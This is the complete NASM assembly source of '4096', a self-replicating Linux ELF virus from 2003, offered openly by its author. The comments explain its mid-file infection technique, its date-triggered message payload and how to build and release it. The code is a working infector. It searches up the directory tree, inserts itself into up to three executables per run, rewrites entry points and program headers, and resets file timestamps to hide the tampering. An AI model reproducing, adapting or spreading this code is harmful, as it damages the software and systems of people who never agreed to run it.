; ; ; Virus name.....................4096 ; Author.........................badCRC ; E-mail.........................thejesterdance@hotmail.com ; Length.........................556 bytes ; OS.............................Linux ; Origin.........................Spain ; Finished.......................August 2003 ; ; ; ; --·--·--·--·--·- ; | INTRODUCTION | ; --·--·--·--·--·- ; ; First of all, I have to say my english is not very good, so ; I'm sorry if you don't understand all I write. I'll try to ; explain me in the best way I can ;) ; ; This is my first released virus and I want to dedicate it to ; a girl who is very special for me (she knows who she is :) On ; the other hand, I also want to thank Wintermute for his virus ; course and all the people in the scene who write or wrote ; interesting things. ; ; ; --·--·--·--·-- ; | DISCLAIMER | ; --·--·--·--·-- ; ; I'm not responsible for what you do with this virus and if ; you spread it, it will be your fault and not mine. So, be ; careful. In any case, this virus is less dangerous than the ; Windows OS as you'll see xD ; ; ; --·--·--·--· ; | FEATURES | ; --·--·--·--· ; ; It's about a runtime mid-file virus that infects executable ; ELF files. Every time it is executed, it will try to infect 3 ; files and then, it will return control to host. These files can ; be in any directory that belong to the virus path. For example, ; if the the virus resides in /tools/bin/, it will look for ; files in bin, tools and /, that is, the root dir. ; ; I think the most interesting thing in this virus is the ; infection method, so I'm going to explain it a little :) ; ; When the virus finds a file suitable for infection, it will ; search in the PHT for the first loadable segment, usually the ; text segment. Now, we have to check for free space in the last ; memory page that this segment occupies because we want to copy ; us there. How? It's easy: subtract from 1000h the last 3 hex ; digits in p_memsz (I assume 4 KB pages). Let's see an example. ; Suppose p_memsz = 12AF9h. So, how much space is free in the ; last page? 1000h - AF9h = 507h = 1287 bytes. Why are we limited ; in this way? Because we copy us in the first loadable segment, ; and if there is another one, its first page will be next ours ; and we don't want to be overwritten when the program is loaded ; into memory. ; ; Next step is increase file size and copy the virus into the ; file. We'll have to fix the offsets of some entries in the PHT ; because of we are going to copy us where the first loadable ; segment ends, that is, p_offset + p_filesz. The file size will ; be increased in 1000h bytes because file offsets (p_offset) and ; virtual addresses (p_vaddr) must be congruent modulo the page ; size (1000h), that is, if you divide p_offset or p_vaddr by ; 1000h, the remainder will be the same. For better ; understanding, imagine there is another loadable segment next ; ours and we have to fix its offset. Suppose p_offset = 2BF00h, ; p_vaddr = 8074F00h and virus length = 100h. If we increase file ; size in 100h bytes, we'll have to add 100h to p_offset (2C000h) ; and then, p_offset and p_vaddr won't be congruent modulo 1000h. ; So, the minimum value in order they continue being congruent ; is 1000h. ; ; I hope you have understood it. If not, take a look at the ; code, ok? Good luck! ; ; ; --·--·--·-- ; | PAYLOAD | ; --·--·--·-- ; ; Every 30 November the virus will print a message on the ; screen. The way I use to compute the date is not precise, so ; the virus will activate a day before or after sometimes. ; ; ; --·--·--·--·--· ; | TO ASSEMBLE | ; --·--·--·--·--· ; ; nasm 4096.asm -o 4096.tmp -f elf ; ld 4096.tmp -o 4096 -s ; dwarf.exec 4096 ; ; BITS 32 SECTION .text GLOBAL _start _start: pushfd pushfd pushad call delta delta: mov esi,esp lodsd sub eax,delta xchg eax,ebp ; EBP = delta offset sub esp,730h ; time returns the seconds since January 1, 1970. Starting from this value, ;we have to compute the actual date xor eax,eax mov al,0dh ; sys_time mov ebx,esp int 80h cdq mov ecx,151bbh ; 86459 seconds div ecx cdq mov ecx,16dh ; 365 days div ecx cmp dx,14dh ; 30 Nov? jne no_activarse ; PAYLOAD mov al,04h ; sys_write xor ebx,ebx inc ebx lea ecx,[mensaje+ebp] mov dx,len int 80h jmp $ no_activarse: mov byte [numinfect+ebp],00h ; set number of infections to 0 mov edx,dword [old_entry+ebp] mov dword [esi+24h],edx mov al,0b7h ; sys_getcwd add ebx,334h mov edx,ebx mov cx,400h int 80h abrir_dir: lea ebx,[dot+ebp] xor ecx,ecx mov ax,05h ; sys_open int 80h xchg eax,ebx ; EBX = fd xchg eax,edi xor eax,eax mov ecx,esp add ecx,22ah leer_entrada: mov al,59h ; old_readdir int 80h dec eax jz infect xor eax,eax mov al,06h ; sys_close int 80h xor ecx,ecx mov cl,02h xor eax,eax mov al,0b7h ; sys_getcwd mov ebx,esp int 80h add eax,22h jnz salir mov ebx,edi dec ebx mov al,0ch ; sys_chdir int 80h or eax,eax jns abrir_dir salir: xor eax,eax mov al,0ch ; sys_chdir mov ebx,edx int 80h mov esp,esi popad popfd ret ; return control to host infect: pushad mov al,05h ; sys_open mov ebx,ecx add ebx,0ah xor ecx,ecx mov cl,02h ; O_RDWR int 80h test eax,eax ; error? jns seguimos popad jmp leer_entrada seguimos: xchg eax,ebx ; EBX = fd xchg eax,ecx inc eax ; EAX = 3 (sys_read) mov edx,234h ; amount of bytes we want to ;read from the file (52 + 512) mov ecx,esp add ecx,20h mov edi,ecx int 80h sub dword [ecx],464c457fh ; ELF? jnz @close_file sub byte [ecx+10h],02h ; executable? jnz @close_file busca_loadable: add ecx,20h ; next entry in the PHT dec dword [ecx+14h] ; loadable? jnz busca_loadable mov eax,dword [ecx+28h] ; EAX = p_memsz neg eax and ah,0fh cmp ax,virus_len jb @close_file movzx esi,ax sub ecx,esp mov edx,ecx xor eax,eax mov al,6ch ; sys_newfstat mov ecx,edi int 80h mov edi,dword [ecx+14h] ; EDI = original file size xor ecx,ecx mov ch,10h add ecx,edi ; ECX = new file size mov al,5dh ; sys_ftruncate int 80h push ebx push eax ; beginning of the file (0) push ebx ; fd xor ebx,ebx inc eax push eax ; MAP_SHARED (1) mov al,03h push eax ; PROT_READ + PROT_WRITE (3) push ecx ; map the whole file push ebx ; 0 mov ebx,esp mov al,5ah ; old_mmap int 80h add esp,18h ; restore stack cmp eax,0fffff000h ; error? jbe map_ok pop ebx push ebx mov ecx,edi ; ECX = original file size xor eax,eax mov al,5dh ; sys_ftruncate int 80h jmp restore_date @close_file: jmp close_file map_ok: xchg eax,ebx ; EBX = map address add edx,ebx push ecx ; stack new file size mov eax,dword [edx+04h] ; p_filesz push eax add eax,dword [edx-04h] ; p_filesz + p_vaddr mov ecx,dword [ebx+18h] ; e_entry mov dword [ebx+18h],eax ; put new entry point mov dword [old_entry+ebp],ecx ; save old pop eax ; p_filesz add eax,dword [edx-08h] ; p_filesz + p_offset movzx ecx,word [ebx+2ch] ; e_phnum add dword [edx+04h],esi ; new p_filesz add dword [edx+08h],esi ; new p_memsz mov byte [edx+0ch],07h ; PF_R + PF_W + PF_X mov edx,ebx add edx,38h ; EDX = PHT offset + 4 mov si,1000h fix_PHT: cmp dword [edx],eax jb next_entry_PHT add dword [edx],esi ; fix this entry! next_entry_PHT: add edx,20h ; next entry in the PHT + 4 loop fix_PHT mov edx,dword [ebx+20h] ; e_shoff add dword [ebx+20h],esi ; fix e_shoff add edx,ebx mov cl,byte [ebx+30h] ; e_shnum fix_SHT: cmp dword [edx+10h],eax jb next_entry_SHT add dword [edx+10h],esi ; fix this entry! next_entry_SHT: add edx,28h ; next entry in the SHT loop fix_SHT mov ecx,edi sub ecx,eax ; amount of bytes we are going ;to move dec edi add edi,ebx xadd edi,esi std rep movsb cld mov cl,virus_len/4 lea esi,[_start+ebp] mov edi,eax add edi,ebx rep movsd ; copy the virus! xor eax,eax mov al,5bh ; sys_munmap pop ecx int 80h inc byte [numinfect+ebp] restore_date: mov al,1eh ; sys_utime mov ebx,esp add ebx,258h mov ecx,esp add ecx,48h int 80h pop ebx close_file: xor eax,eax mov al,06h ; sys_close int 80h popad cmp byte [numinfect+ebp],03h je nos_vamos jmp leer_entrada nos_vamos: mov al,06h ; sys_close int 80h jmp salir db '.' dot db '.',0 old_entry dd final numinfect db 0 mensaje db '[4096] virus coded by badCRC in 2003',0ah len equ $-mensaje ; This is only for the first generation final: mov eax,01h ; sys_exit int 80h virus_len equ final-_start